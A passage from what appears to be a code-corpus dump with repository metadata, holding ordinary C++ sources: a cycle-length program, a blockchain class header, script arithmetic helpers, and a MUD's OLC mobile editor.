else return compute(n>>1)+1;
}
int main(){
ll i,j;
while(scanf("%lld%lld",&i,&j)!=EOF){
ll temp1=i;
ll temp2=j;
ll temp;
i=min(temp1,temp2);
j=temp1+temp2-i;
ll cycle=0;
temp=i;
ll max_cycle=INT_MIN;
while(temp<=j){
cycle=compute(temp);
// cout<<cycle<<endl;
if(max_cycle < cycle)
max_cycle=cycle;
temp++;
}
printf("%lld %lld %lld\n",temp1,temp2,max_cycle);
}
}
|
ba8c1834d0dc31796c11b41090b2e24b64d269c4
|
b0141b7f3f5516d172aab7254863eb722c8c5ca7
|
/Chain/blockchain.hpp
|
ff18de344aa482f587d73fb2ded18c976ac36a39
|
[] |
no_license
|
Babwenbiber/Proof-Of-Luck-Cryptocurrency
|
696354faa510b4f885913d184234a27721f2e623
|
995897104e86967ddd408dd2e5a85d87a3bbc70d
|
refs/heads/master
| 2020-03-22T23:56:04.164292
| 2018-07-13T11:07:50
| 2018-07-13T11:07:50
| 140,834,974
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,307
|
hpp
|
blockchain.hpp
|
#ifndef BLOCKCHAIN_H
#define BLOCKCHAIN_H
#include <string.h>
#include <stdlib.h>
#include <stddef.h>
#include <iostream>
#include <vector>
#include <memory>
#include <unistd.h>
#include <limits>
#include <time.h> /* time_t, struct tm, difftime, time, mktime */
#include "transactions.hpp"
//#include "libs/sha1.hpp"
#include "../sodiumpp/crypt.h"
#include "merkletree.hpp"
#include "block.hpp"
#include "../Database/database.hpp"
#include "../helperfunctions.h"
#include "../Enclave/App.h"
using namespace std;
using namespace HelperFunctions;
typedef std::numeric_limits< double > dbl;
//#define DATABASE "database.db"
class Blockchain
{
public:
Blockchain();
Blockchain(const shared_ptr<recursive_mutex> &shared_mutex,
const shared_ptr<vector<Transaction> >&sharedMempool,
const shared_ptr<recursive_mutex> &memMutex);
void initializeChain();
void newTransaction(string send, string rec, string hash, int val, time_t timestamp);
void ProofOfLuck(Block&);
Block getLatestBlock();
int getBalance(string, int BlockIndex, int forkID);
int getBalance(string, int forkID = 0);
bool verifyBlock(Block, int);
QString printChain(bool detailed);
void printLatestBlock();
void printMempool();
void printHistory(string);
Block getBlock(int index, int forkID);
void appendBlock(Block);
string getId() const;
void setId(const string& value);
bool isLuckierBlock(Block);
Block* buildNewBlock(string key, Block prev);
int handleBlock(Block&, int*);
bool verifyBlockchain();
vector<string> getAllParticipants();
bool closeDb();
vector<Transaction> getMyTransactions();
int getLatestBlockIndex();
int getMySendTransactionValueFromMempool();
void checkDatabase();
private:
vector<Transaction> putTxInBlock();
vector<Utxo_help> getUTXO(string, int, int forkID);
int checkTempChain(int);
bool checkDuplicateTransition(string);
void mempoolUpdate(int forkID);
void rollbackDB(int blockIndex, int forkID);
void gdb();
Database db;
shared_ptr<vector<Transaction>> mempool;
shared_ptr<recursive_mutex> mempoolMutex;
const int MINER_REWARD = 50;
const int TEMP_CLEAN_NUM = 10;
};
bool proofCertificate(Block);
#endif // BLOCKCHAIN_H
|
ba9b41ee9173ce383b753e41029694753047fc72
|
f57a39f2f7557272784860b24cb2f05533afc847
|
/src/ScriptFunctions.cpp
|
88e93aed54a885fb61a64b99dace301caf30eb02
|
[] |
no_license
|
stephenlombardi/slib
|
903af62989c26f73d66bc16e57343ae6d77faf1c
|
dbf75082cbf5ce16e6899056aa138acfeb2e1ab6
|
refs/heads/master
| 2021-01-19T12:39:42.387665
| 2010-05-06T22:48:04
| 2010-05-06T22:48:04
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 5,492
|
cpp
|
ScriptFunctions.cpp
|
#include <slib/ScriptFunctions.h>
namespace slib {
std::ostream & printAny( std::ostream & out, const boost::any & any ) {
if( boost::any_cast< bool >( &any ) ) {
return out << boost::any_cast< bool >( any );
} else if( boost::any_cast< int >( &any ) ) {
return out << boost::any_cast< int >( any );
} else if( boost::any_cast< float >( &any ) ) {
return out << boost::any_cast< float >( any );
} else if( boost::any_cast< std::string >( &any ) ) {
return out << boost::any_cast< std::string >( any );
} else {
//return out << any.type( ).name( );
throw ScriptError( "printAny: unknown type" );
}
}
boost::any addAny( const boost::any & x, const boost::any & y ) {
if( boost::any_cast< bool >( &x ) ) {
return boost::any_cast< bool >( x ) || boost::any_cast< bool >( y ) ;
} else if( boost::any_cast< int >( &x ) ) {
return boost::any_cast< int >( x ) + boost::any_cast< int >( y );
} else if( boost::any_cast< float >( &x ) ) {
return boost::any_cast< float >( x ) + boost::any_cast< float >( y );
} else if( boost::any_cast< std::string >( &x ) ) {
return boost::any_cast< std::string >( x ) + boost::any_cast< std::string >( y );
} else {
throw boost::bad_any_cast( );
}
}
boost::any multAny( const boost::any & x, const boost::any & y ) {
if( boost::any_cast< bool >( &x ) ) {
return boost::any_cast< bool >( x ) && boost::any_cast< bool >( y ) ;
} else if( boost::any_cast< int >( &x ) ) {
return boost::any_cast< int >( x ) * boost::any_cast< int >( y );
} else if( boost::any_cast< float >( &x ) ) {
return boost::any_cast< float >( x ) * boost::any_cast< float >( y );
} else {
throw boost::bad_any_cast( );
}
}
boost::any equalAny( const boost::any & x, const boost::any & y ) {
if( boost::any_cast< bool >( &x ) ) {
return boost::any_cast< bool >( x ) == boost::any_cast< bool >( y ) ;
} else if( boost::any_cast< int >( &x ) ) {
return boost::any_cast< int >( x ) == boost::any_cast< int >( y );
} else if( boost::any_cast< float >( &x ) ) {
return boost::any_cast< float >( x ) == boost::any_cast< float >( y );
} else if( boost::any_cast< std::string >( &x ) ) {
return boost::any_cast< std::string >( x ) == boost::any_cast< std::string >( y );
} else {
throw boost::bad_any_cast( );
}
}
boost::any addInverseAny( const boost::any & any ) {
if( boost::any_cast< bool >( &any ) ) {
return !boost::any_cast< bool >( any );
} else if( boost::any_cast< int >( &any ) ) {
return -boost::any_cast< int >( any );
} else if( boost::any_cast< float >( &any ) ) {
return -boost::any_cast< float >( any );
} else {
throw boost::bad_any_cast( );
}
}
boost::any multInverseAny( const boost::any & any ) {
if( boost::any_cast< float >( &any ) ) {
return 1.0f / boost::any_cast< float >( any );
} else {
throw boost::bad_any_cast( );
}
}
boost::any ScriptPrint( EnvT & env, const std::list< boost::any > & paramlist ) {
std::for_each( paramlist.begin( ), paramlist.end( ), boost::bind( printAny, boost::ref( std::cout ), _1 ) );
std::cout << std::endl;
return boost::any( );
}
boost::any ScriptAdd( EnvT & env, const std::list< boost::any > & paramlist ) {
if( paramlist.empty( ) ) {
throw ScriptError( "ScriptAdd: incorrect parameter count" );
} else {
try {
std::list< boost::any >::const_iterator second = paramlist.begin( ); ++second;
return std::accumulate( second, paramlist.end( ), paramlist.front( ), boost::bind( addAny, _1, _2 ) );
} catch( const boost::bad_any_cast & ) {
throw ScriptError( "ScriptAdd: inconsistent argument types" );
}
}
}
boost::any ScriptMult( EnvT & env, const std::list< boost::any > & paramlist ) {
if( paramlist.empty( ) ) {
throw ScriptError( "ScriptMult: incorrect parameter count" );
} else {
try {
std::list< boost::any >::const_iterator second = paramlist.begin( ); ++second;
return std::accumulate( second, paramlist.end( ), paramlist.front( ), boost::bind( multAny, _1, _2 ) );
} catch( const boost::bad_any_cast & ) {
throw ScriptError( "ScriptMult: inconsistent argument types" );
}
}
}
boost::any ScriptEqual( EnvT & env, const std::list< boost::any > & paramlist ) {
if( paramlist.empty( ) ) {
throw ScriptError( "ScriptEqual: incorrect parameter count" );
} else {
try {
std::list< boost::any >::const_iterator second = paramlist.begin( ); ++second;
return std::inner_product( second, paramlist.end( ), paramlist.begin( ), boost::any( true ), multAny, equalAny );
} catch( const boost::bad_any_cast & ) {
throw ScriptError( "ScriptEqual: inconsistent argument types" );
}
}
}
boost::any ScriptAddInverse( EnvT & env, const std::list< boost::any > & paramlist ) {
if( paramlist.size( ) != 1 ) {
throw ScriptError( "ScriptAddInverse: incorrect argument count (should be 1)" );
} else {
try {
return addInverseAny( paramlist.front( ) );
} catch( const boost::bad_any_cast & ) {
throw ScriptError( "ScriptAddInverse: invalid argument type" );
}
}
}
boost::any ScriptMultInverse( EnvT & env, const std::list< boost::any > & paramlist ) {
if( paramlist.size( ) != 1 ) {
throw ScriptError( "ScriptMultInverse: incorrect argument count (should be 1)" );
} else {
try {
return multInverseAny( paramlist.front( ) );
} catch( const boost::bad_any_cast & ) {
throw ScriptError( "ScriptMultInverse: invalid argument type" );
}
}
}
}
|
ab390eb15854e57e71785458a6a96ba5bc92d4e3
|
d8aa7ddfbec886b243cd59a9c6e3c7df3c9d5f14
|
/medit.cpp
|
7e8721705b56f53ab79fdefd51e2950d6c6da674
|
[
"BSD-2-Clause"
] |
permissive
|
loran4d/mud
|
64e0840bc707141caeb16f8cb2dddb018e1fac27
|
2e0bbae7e4ca242f075f2b31b41a3856ad8469dd
|
refs/heads/main
| 2023-08-22T00:19:46.136790
| 2021-11-01T21:31:03
| 2021-11-01T21:31:03
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 56,703
|
cpp
|
medit.cpp
|
/************************************************************************/
/** OasisOLC - medit.c v1.5 **/
/** Copyright 1996 Harvey Gilpin. **/
/************************************************************************/
#include "config.h"
#include "sysdep.h"
#include "structs.h"
#include "interpreter.h"
#include "comm.h"
#include "spells.h"
#include "utils.h"
#include "db.h"
#include "shop.h"
#include "genolc.h"
#include "genmob.h"
#include "genzon.h"
#include "genshp.h"
#include "oasis.h"
#include "handler.h"
#include "constants.h"
#include "improved-edit.h"
#include "screen.h"
#include "dg_olc.h"
#include "screen.h"
#include "constants.h"
#include "fight.h"
#include "descriptor.h"
/*-------------------------------------------------------------------*/
/*
* External variable declarations.
*/
extern struct attack_hit_type attack_hit_text[];
extern struct shop_data *shop_index;
extern const char *mob_races[];
#if CONFIG_OASIS_MPROG
extern const char *mobprog_types[];
#endif
float mob_hitpoint_multi ( int chclass );
/*
* External function prototypes/
*/
void update_script ( vector<int> &ops, vector<int> &nps, void *thing, int type );
void smash_tilde ( char *str );
const char * race_name ( Character *ch );
const char *simple_class_name ( Character *ch );
struct combine_data *add_base_link_mob ( Character *mob, mob_vnum vnum );
void free_join_list ( struct combine_data *list );
int join_count ( Character *mob );
struct combine_data *copy_proto_link ( struct combine_data *proto );
void delete_one_join ( Character *mob, int i );
/*-------------------------------------------------------------------*/
/*
* Handy internal macros.
*/
#if CONFIG_OASIS_MPROG
#define GET_MPROG(mob) (GetMobIndex((mob)->vnum)->mobprogs)
#define GET_MPROG_TYPE(mob) (GetMobIndex((mob)->vnum)->progtypes)
#endif
/*-------------------------------------------------------------------*/
/*
* Function prototypes.
*/
#if CONFIG_OASIS_MPROG
void medit_disp_mprog ( Descriptor *d );
void medit_change_mprog ( Descriptor *d );
const char *medit_get_mprog_type ( struct mob_prog_data *mprog );
#endif
/*********************************************************************/
/** utility functions. **/
/*-------------------------------------------------------------------*/
ACMD ( do_oasis_medit )
{
int number = NOBODY, save = 0;
Descriptor *d;
//char *buf3;
char buf1[MAX_STRING_LENGTH];
char buf2[MAX_STRING_LENGTH];
/****************************************************************************/
/** Parse any arguments. **/
/****************************************************************************/
//buf3 =
two_arguments ( argument, buf1, buf2 );
if ( !*buf1 )
{
ch->Send ( "Specify a mobile VNUM to edit.\r\n" );
return;
}
else if ( !isdigit ( *buf1 ) )
{
if ( str_cmp ( "save", buf1 ) != 0 )
{
ch->Send ( "Yikes! Stop that, someone will get hurt!\r\n" );
return;
}
save = TRUE;
if ( is_number ( buf2 ) )
number = atoi ( buf2 );
else if ( GET_OLC_ZONE ( ch ) > 0 )
{
zone_rnum zlok;
if ( ( zlok = real_zone ( GET_OLC_ZONE ( ch ) ) ) == NOWHERE )
number = NOWHERE;
else
number = zone_table[zlok].Bot();
}
if ( number == NOWHERE )
{
ch->Send ( "Save which zone?\r\n" );
return;
}
}
/****************************************************************************/
/** If a numeric argument was given (like a room number), get it. **/
/****************************************************************************/
if ( number == NOBODY )
number = atoi ( buf1 );
/****************************************************************************/
/** Check that whatever it is isn't already being edited. **/
/****************************************************************************/
for ( d = descriptor_list; d; d = d->next )
{
if ( STATE ( d ) == CON_MEDIT )
{
if ( d->olc && OLC_NUM ( d ) == number )
{
ch->Send ( "That mobile is currently being edited by %s.\r\n",
GET_NAME ( d->character ) );
return;
}
}
}
d = ch->desc;
/****************************************************************************/
/** Give descriptor an OLC structure. **/
/****************************************************************************/
if ( d->olc )
{
new_mudlog ( BRF, LVL_IMMORT, TRUE,
"SYSERR: do_oasis_medit: Player already had olc structure.");
free ( d->olc );
}
CREATE ( d->olc, struct oasis_olc_data, 1 );
/****************************************************************************/
/** Find the zone. **/
/****************************************************************************/
OLC_ZNUM ( d ) = save ? real_zone ( number ) : real_zone_by_thing ( number );
if ( OLC_ZNUM ( d ) == NOWHERE )
{
ch->Send ( "Sorry, there is no zone for that number!\r\n" );
free ( d->olc );
d->olc = NULL;
return;
}
/****************************************************************************/
/** Everyone but IMPLs can only edit zones they have been assigned. **/
/****************************************************************************/
if ( !can_edit_zone ( ch, OLC_ZNUM ( d ) ) )
{
ch->Send ( "You do not have permission to edit this zone.\r\n" );
new_mudlog ( BRF, LVL_IMPL, TRUE, "OLC: %s tried to edit zone %d allowed zone %d",
GET_NAME ( ch ), zone_table[OLC_ZNUM ( d ) ].number, GET_OLC_ZONE ( ch ) );
free ( d->olc );
d->olc = NULL;
return;
}
/****************************************************************************/
/** If save is TRUE, save the mobiles. **/
/****************************************************************************/
if ( save )
{
ch->Send ( "Saving all mobiles in zone %d.\r\n",
zone_table[OLC_ZNUM ( d ) ].number );
new_mudlog ( CMP, MAX ( LVL_BUILDER, GET_INVIS_LEV ( ch ) ), TRUE,
"OLC: %s saves mobile info for zone %d.",
GET_NAME ( ch ), zone_table[OLC_ZNUM ( d ) ].number );
/**************************************************************************/
/** Save the mobiles. **/
/**************************************************************************/
save_mobiles ( OLC_ZNUM ( d ) );
/**************************************************************************/
/** Free the olc structure stored in the descriptor. **/
/**************************************************************************/
free ( d->olc );
d->olc = NULL;
return;
}
OLC_NUM ( d ) = number;
/****************************************************************************/
/** If this is a new mobile, setup a new one, otherwise, setup the **/
/** existing mobile. **/
/****************************************************************************/
if ( !MobProtoExists ( number ) )
medit_setup_new ( d );
else
medit_setup_existing ( d, number );
STATE ( d ) = CON_MEDIT;
/****************************************************************************/
/** Display the OLC messages to the players in the same room as the **/
/** builder and also log it. **/
/****************************************************************************/
act ( "$n starts using OLC.", TRUE, ch, 0, 0, TO_ROOM );
SET_BIT_AR ( PLR_FLAGS ( ch ), PLR_WRITING );
new_mudlog ( BRF, LVL_IMMORT, TRUE,"OLC: %s starts editing zone %d allowed zone %d",
GET_NAME ( ch ), zone_table[OLC_ZNUM ( d ) ].number, GET_OLC_ZONE ( ch ) );
}
void medit_save_to_disk ( zone_vnum foo )
{
save_mobiles ( real_zone ( foo ) );
}
void medit_setup_new ( Descriptor *d )
{
Character *mob;
/*
* Allocate a scratch mobile structure.
*/
mob = new Character();
init_mobile ( mob );
/*
* Set up some default strings.
*/
GET_ALIAS ( mob ) = strdup ( "mob unfinished" );
GET_SDESC ( mob ) = strdup ( "the unfinished mob" );
GET_LDESC ( mob ) = strdup ( "An unfinished mob stands here.\r\n" );
GET_DDESC ( mob ) = strdup ( "It looks unfinished.\r\n" );
#if CONFIG_OASIS_MPROG
OLC_MPROGL ( d ) = NULL;
OLC_MPROG ( d ) = NULL;
#endif
SCRIPT ( mob ) = NULL;
mob->proto_script = NULL;
OLC_SCRIPT ( d ) = NULL;
OLC_MOB ( d ) = mob;
/* Has changed flag. (It hasn't so far, we just made it.) */
OLC_VAL ( d ) = FALSE;
OLC_ITEM_TYPE ( d ) = MOB_TRIGGER;
medit_disp_menu ( d );
}
/*-------------------------------------------------------------------*/
void medit_setup_existing ( Descriptor *d, int rmob_vnum )
{
Character *mob = new Character();
/*
* Allocate a scratch mobile structure.
*/
copy_mobile ( mob, GetMobProto ( rmob_vnum ) );
#if CONFIG_OASIS_MPROG
{
MPROG_DATA *temp;
MPROG_DATA *head;
if ( GET_MPROG ( mob ) )
CREATE ( OLC_MPROGL ( d ), MPROG_DATA, 1 );
head = OLC_MPROGL ( d );
for ( temp = GET_MPROG ( mob ); temp; temp = temp->next )
{
OLC_MPROGL ( d )->type = temp->type;
OLC_MPROGL ( d )->arglist = strdup ( temp->arglist );
OLC_MPROGL ( d )->comlist = strdup ( temp->comlist );
if ( temp->next )
{
CREATE ( OLC_MPROGL ( d )->next, MPROG_DATA, 1 );
OLC_MPROGL ( d ) = OLC_MPROGL ( d )->next;
}
}
OLC_MPROGL ( d ) = head;
OLC_MPROG ( d ) = OLC_MPROGL ( d );
}
#endif
OLC_MOB ( d ) = mob;
OLC_ITEM_TYPE ( d ) = MOB_TRIGGER;
dg_olc_script_copy ( d );
/*
* The edited mob must not have a script.
* It will be assigned to the updated mob later, after editing.
*/
SCRIPT ( OLC_MOB ( d ) ) = NULL;
OLC_MOB ( d )->proto_script = NULL;
medit_disp_menu ( d );
}
/*-------------------------------------------------------------------*/
/*
* Ideally, this function should be in db.c, but I'll put it here for
* portability.
*/
void init_mobile ( Character *mob )
{
mob->clear();
GET_HIT ( mob ) = GET_MANA ( mob ) = 1;
GET_MAX_MANA ( mob ) = GET_MAX_MOVE ( mob ) = 100;
GET_NDD ( mob ) = GET_SDD ( mob ) = 1;
GET_WEIGHT ( mob ) = 200;
GET_HEIGHT ( mob ) = 198;
GET_CLASS ( mob ) = CLASS_NORMAL;
MOB_TIER ( mob ) = 0;
MOB_SUBSKILL ( mob ) = TYPE_UNDEFINED;
MOB_SKIN ( mob ) = TYPE_UNDEFINED;
MOB_OWNER ( mob ) = -1;
mob->real_abils.str = mob->real_abils.intel = mob->real_abils.wis = 11;
mob->real_abils.dex = mob->real_abils.con = mob->real_abils.cha = 11;
mob->aff_abils = mob->real_abils;
SET_BIT_AR ( MOB_FLAGS ( mob ), MOB_ISNPC );
mob->player_specials = &dummy_mob;
}
/*-------------------------------------------------------------------*/
/*
* Save new/edited mob to memory.
*/
void medit_save_internally ( Descriptor *d )
{
mob_vnum new_vnum = OLC_NUM ( d );
Character *mob, *pmob;
//Copied from parse_simple_mob.
OLC_MOB ( d )->points.max_hit = ( dice ( mob_stats[GET_LEVEL ( OLC_MOB ( d ) ) ].hp_dice, mob_stats[GET_LEVEL ( OLC_MOB ( d ) ) ].hp_sides ) + mob_stats[GET_LEVEL ( OLC_MOB ( d ) ) ].hp_bonus );
OLC_MOB ( d )->points.hit = OLC_MOB ( d )->points.max_hit;
vector<int> ops; // old proto script, the original is destroyed by add_mobile
if ( MobProtoExists ( new_vnum ) && GetMobProto ( new_vnum )->proto_script )
ops = *( GetMobProto ( new_vnum )->proto_script );
add_mobile ( OLC_MOB ( d ), new_vnum );
if ( !MobProtoExists ( new_vnum ) )
{
log ( "medit_save_internally: add_mobile failed." );
return;
}
pmob = GetMobProto ( new_vnum );
/* Update triggers */
/* Free old proto list */
free_proto_script ( pmob, MOB_TRIGGER );
OLC_MOB ( d )->proto_script = OLC_SCRIPT ( d );
copy_proto_script ( OLC_MOB ( d ), pmob, MOB_TRIGGER );
OLC_SCRIPT ( d ) = NULL;
vector<int> nps; // new proto script
if ( pmob->proto_script )
nps = *( pmob->proto_script );
/* this takes care of the mobs currently in-game */
for ( mob = character_list; mob; mob = mob->next )
{
if ( GET_MOB_VNUM ( mob ) != new_vnum )
continue;
update_script ( ops, nps, mob, MOB_TRIGGER );
mob->proto_script = pmob->proto_script;
}
/* end trigger update */
#if 0
if ( !i ) /* Only renumber on new mobiles. */
return;
/*
* Update keepers in shops being edited and other mobs being edited.
*/
for ( dsc = descriptor_list; dsc; dsc = dsc->next )
{
if ( STATE ( dsc ) == CON_SEDIT )
S_KEEPER ( OLC_SHOP ( dsc ) ) += ( S_KEEPER ( OLC_SHOP ( dsc ) ) >= new_rnum );
else if ( STATE ( dsc ) == CON_MEDIT )
GET_MOB_RNUM ( OLC_MOB ( dsc ) ) += ( GET_MOB_RNUM ( OLC_MOB ( dsc ) ) >= new_rnum );
}
/*
* Update other people in zedit too. From: C.Raehl 4/27/99
*/
for ( dsc = descriptor_list; dsc; dsc = dsc->next )
if ( STATE ( dsc ) == CON_ZEDIT )
for ( i = 0; OLC_ZONE ( dsc )->cmd[i].command != 'S'; i++ )
if ( OLC_ZONE ( dsc )->cmd[i].command == 'M' )
if ( OLC_ZONE ( dsc )->cmd[i].arg1 >= new_rnum )
OLC_ZONE ( dsc )->cmd[i].arg1++;
#endif
}
/**************************************************************************
Menu functions
**************************************************************************/
void medit_disp_mob_stats ( Descriptor *d, int state )
{
switch ( state )
{
case ( MEDIT_CHA ) :
d->Output ( "How much Charisma should this mob have:" );
break;
}
}
/*
* Display positions. (sitting, standing, etc)
*/
void medit_disp_positions ( Descriptor *d )
{
int i;
get_char_colours ( d->character );
clear_screen ( d );
for ( i = 0; *position_types[i] != '\n'; i++ )
{
d->Output ( "%s%2d%s) %s\r\n", grn, i, nrm, position_types[i] );
}
d->Output ( "Enter position number : " );
}
/*-------------------------------------------------------------------*/
#if CONFIG_OASIS_MPROG
/*
* Get the type of MobProg.
*/
const char *medit_get_mprog_type ( struct mob_prog_data *mprog )
{
switch ( mprog->type )
{
case IN_FILE_PROG:
return ">in_file_prog";
case ACT_PROG:
return ">act_prog";
case SPEECH_PROG:
return ">speech_prog";
case RAND_PROG:
return ">rand_prog";
case FIGHT_PROG:
return ">fight_prog";
case HITPRCNT_PROG:
return ">hitprcnt_prog";
case DEATH_PROG:
return ">death_prog";
case ENTRY_PROG:
return ">entry_prog";
case GREET_PROG:
return ">greet_prog";
case ALL_GREET_PROG:
return ">all_greet_prog";
case GIVE_PROG:
return ">give_prog";
case BRIBE_PROG:
return ">bribe_prog";
}
return ">ERROR_PROG";
}
/*-------------------------------------------------------------------*/
/*
* Display the MobProgs.
*/
void medit_disp_mprog ( Descriptor *d )
{
struct mob_prog_data *mprog = OLC_MPROGL ( d );
OLC_MTOTAL ( d ) = 1;
clear_screen ( d );
while ( mprog )
{
d->Output ( "%d) %s %s\r\n", OLC_MTOTAL ( d ), medit_get_mprog_type ( mprog ),
( mprog->arglist ? mprog->arglist : "NONE" ) );
OLC_MTOTAL ( d ) ++;
mprog = mprog->next;
}
d->Output ( "%d) Create New Mob Prog\r\n"
"%d) Purge Mob Prog\r\n"
"Enter number to edit [0 to exit]: ",
OLC_MTOTAL ( d ), OLC_MTOTAL ( d ) + 1 );
OLC_MODE ( d ) = MEDIT_MPROG;
}
/*-------------------------------------------------------------------*/
/*
* Change the MobProgs.
*/
void medit_change_mprog ( Descriptor *d )
{
clear_screen ( d );
d->Output ( "1) Type: %s\r\n"
"2) Args: %s\r\n"
"3) Commands:\r\n%s\r\n\r\n"
"Enter number to edit [0 to exit]: ",
medit_get_mprog_type ( OLC_MPROG ( d ) ),
( OLC_MPROG ( d )->arglist ? OLC_MPROG ( d )->arglist: "NONE" ),
( OLC_MPROG ( d )->comlist ? OLC_MPROG ( d )->comlist : "NONE" ) );
OLC_MODE ( d ) = MEDIT_CHANGE_MPROG;
}
/*-------------------------------------------------------------------*/
/*
* Change the MobProg type.
*/
void medit_disp_mprog_types ( Descriptor *d )
{
int i;
get_char_colours ( d->character );
clear_screen ( d );
for ( i = 0; i < NUM_PROGS-1; i++ )
{
d->Output ( "%s%2d%s) %s\r\n", grn, i, nrm, mobprog_types[i] );
}
d->Output ( "Enter mob prog type : " );
OLC_MODE ( d ) = MEDIT_MPROG_TYPE;
}
#endif
/*-------------------------------------------------------------------*/
/*-------------------------------------------------------------------*/
void medit_disp_mob_race ( Descriptor *d )
{
int i;
get_char_colours ( d->character );
for ( i = 0; i < NUM_MOB_RACES; i++ )
d->Output ( "%s%2d%s) %s\r\n", grn, i, nrm, mob_races[i] );
d->Output ( "Enter race number : " );
}
void medit_disp_mob_skin ( Descriptor *d )
{
obj_vnum skin = MOB_SKIN ( OLC_MOB ( d ) );
obj_rnum real_skin = real_object ( skin );
if ( skin == NOTHING )
d->Output ( "This mob can't be skinned currently\r\n" );
else if ( real_skin == NOTHING )
d->Output ( "When mob is skinned it will currently try to load: [%d], but it doesn't exist\r\n", skin );
else
{
obj_data *obj_skin = &obj_proto[ real_skin ];
d->Output ( "When mob is skinned it will currently load: [%d] %s\r\n", skin, obj_skin->short_description );
}
d->Output ( "Enter skin vnum : " );
}
void medit_disp_mob_owner ( Descriptor *d )
{
long id = OLC_MOB ( d )->mob_specials.owner;
d->Output ( "Mobs current owner: %ld (%s)\r\n", id, pi.NameById ( id ) );
d->Output ( "Enter new owner name or id : " );
}
void medit_disp_mob_joins ( Descriptor *d )
{
int j = 0;
struct combine_data *temp = ( OLC_MOB ( d )->mob_specials.join_list );
get_char_colours ( d->character );
d->Output ( "Mob segments linked:\r\n" );
if ( !temp )
d->Output ( "None.\r\n" );
else
{
while ( temp )
{
if ( MobProtoExists ( temp->vnum ) )
d->Output ( "%s%2d%s) [%5d] %s\r\n\r\n", grn, ++j, nrm, temp->vnum, GetMobProto ( temp->vnum )->player.short_descr );
temp = temp->next;
}
}
d->Output ( "Enter vnum of new mob segment ('d' to delete, -1 to quit): " );
}
void medit_disp_mob_trains ( Descriptor *d )
{
get_char_colours ( d->character );
d->Output ( "Mob can train these skills/spells:\r\n" );
if ( OLC_MOB ( d )->mob_specials.teaches_skills.empty() )
d->Output ( "None.\r\n" );
else
{
for ( int i = 0; i < OLC_MOB ( d )->mob_specials.teaches_skills.size();i++ )
{
d->Output ( "%s%2d%s) [%5d] %-15s%s", grn, i, nrm, OLC_MOB ( d )->mob_specials.teaches_skills[i], skill_name ( OLC_MOB ( d )->mob_specials.teaches_skills[i] ), ! ( i%2 ) ? " " : "\r\n" );
}
}
d->Output ( "\r\n['d' to delete an entry, 'q' to quit]\r\nType the skill/spell name that this mob should teach: " );
}
/*-------------------------------------------------------------------*/
void medit_disp_mob_subskill ( Descriptor *d )
{
int i;
get_char_colours ( d->character );
for ( i = 1; i < TOP_SUB_DEFINE; i++ )
{
d->Output ( "%s%2d%s) %20s", grn, i, nrm, sub_name ( i ) );
if ( ! ( i%3 ) )
d->Output ( "\r\n" );
}
d->Output ( "Enter subskill number (-1 for none): " );
}
void medit_disp_mob_tier ( Descriptor *d )
{
d->Output ( "Enter a Tier: 0 to 4: " );
}
/*-------------------------------------------------------------------*/
void medit_disp_mob_class ( Descriptor *d )
{
int i;
get_char_colours ( d->character );
for ( i = 0; i < NUM_MOB_CLASSES; i++ )
d->Output ( "%s%2d%s) %s\r\n", grn, i, nrm, npc_class_types[i] );
d->Output ( "Enter class number : " );
}
/*
* Display the gender of the mobile.
*/
void medit_disp_sex ( Descriptor *d )
{
int i;
get_char_colours ( d->character );
clear_screen ( d );
for ( i = 0; i < NUM_GENDERS; i++ )
{
d->Output ( "%s%2d%s) %s\r\n", grn, i, nrm, genders[i] );
}
d->Output ( "Enter gender number : " );
}
/*-------------------------------------------------------------------*/
/*
* Display attack types menu.
*/
void medit_disp_attack_types ( Descriptor *d )
{
int i;
get_char_colours ( d->character );
clear_screen ( d );
for ( i = 0; i < NUM_ATTACK_TYPES; i++ )
{
d->Output ( "%s%2d%s) %s\r\n", grn, i, nrm, attack_hit_text[i].singular );
}
d->Output ( "Enter attack type : " );
}
/*-------------------------------------------------------------------*/
/*
* Display mob-flags menu.
*/
void medit_disp_mob_flags ( Descriptor *d )
{
int i, columns = 0;
char flags[MAX_STRING_LENGTH];
get_char_colours ( d->character );
clear_screen ( d );
for ( i = 0; i < NUM_MOB_FLAGS; i++ )
{
d->Output ( "%s%2d%s) %-20.20s %s", grn, i + 1, nrm, action_bits[i],
! ( ++columns % 2 ) ? "\r\n" : "" );
}
sprintbitarray ( MOB_FLAGS ( OLC_MOB ( d ) ), action_bits, PM_ARRAY_MAX, flags, sizeof ( flags ) );
d->Output ( "\r\nCurrent flags : %s%s%s\r\nEnter mob flags (0 to quit) : ",
cyn, flags, nrm );
}
/*-------------------------------------------------------------------*/
/*
* Display affection flags menu.
*/
void medit_disp_aff_flags ( Descriptor *d )
{
int i, columns = 0;
char flags[MAX_STRING_LENGTH];
get_char_colours ( d->character );
clear_screen ( d );
for ( i = 0; i < NUM_AFF_FLAGS; i++ )
{
d->Output ( "%s%2d%s) %-20.20s %s", grn, i + 1, nrm, affected_bits[i],
! ( ++columns % 2 ) ? "\r\n" : "" );
}
sprintbitarray ( AFF_FLAGS ( OLC_MOB ( d ) ), affected_bits, AF_ARRAY_MAX, flags, sizeof ( flags ) );
d->Output ( "\r\nCurrent flags : %s%s%s\r\nEnter aff flags (0 to quit) : ",
cyn, flags, nrm );
}
/*-------------------------------------------------------------------*/
/*
* Display main menu.
*/
void medit_disp_menu ( Descriptor *d )
{
Character *mob;
char flags[MAX_STRING_LENGTH], flag2[MAX_STRING_LENGTH];
mob = OLC_MOB ( d );
get_char_colours ( d->character );
clear_screen ( d );
d->Output ( "{cyDon't forget to turn colourcode on when you're going to copy-paste.{c0\r\n\r\n" );
d->Output (
"-- Mob Number: [%s%d%s]\r\n"
"%s1%s) Sex: %s%-7.7s%s %s2%s) Alias: %s%s\r\n"
"%s3%s) S-Desc: %s%s\r\n"
"%s4%s) L-Desc:-\r\n%s%s"
"%s5%s) D-Desc:-\r\n%s%s"
"%s6%s) Level: [%s%4d%s], %s7%s) Alignment: [%s%4d%s]\r\n"
"%s8%s) Hitroll: [%s%4d%s], %s9%s) Damroll: [%s%4d%s]\r\n"
"%sA%s) NumDamDice: [%s%4d%s], %sB%s) SizeDamDice: [%s%4d%s]\r\n"
"%sC%s) Num HP Dice: [%s%4d%s], %sD%s) Size HP Dice: [%s%4d%s], %sE%s) HP Bonus: [%s%5d%s]\r\n"
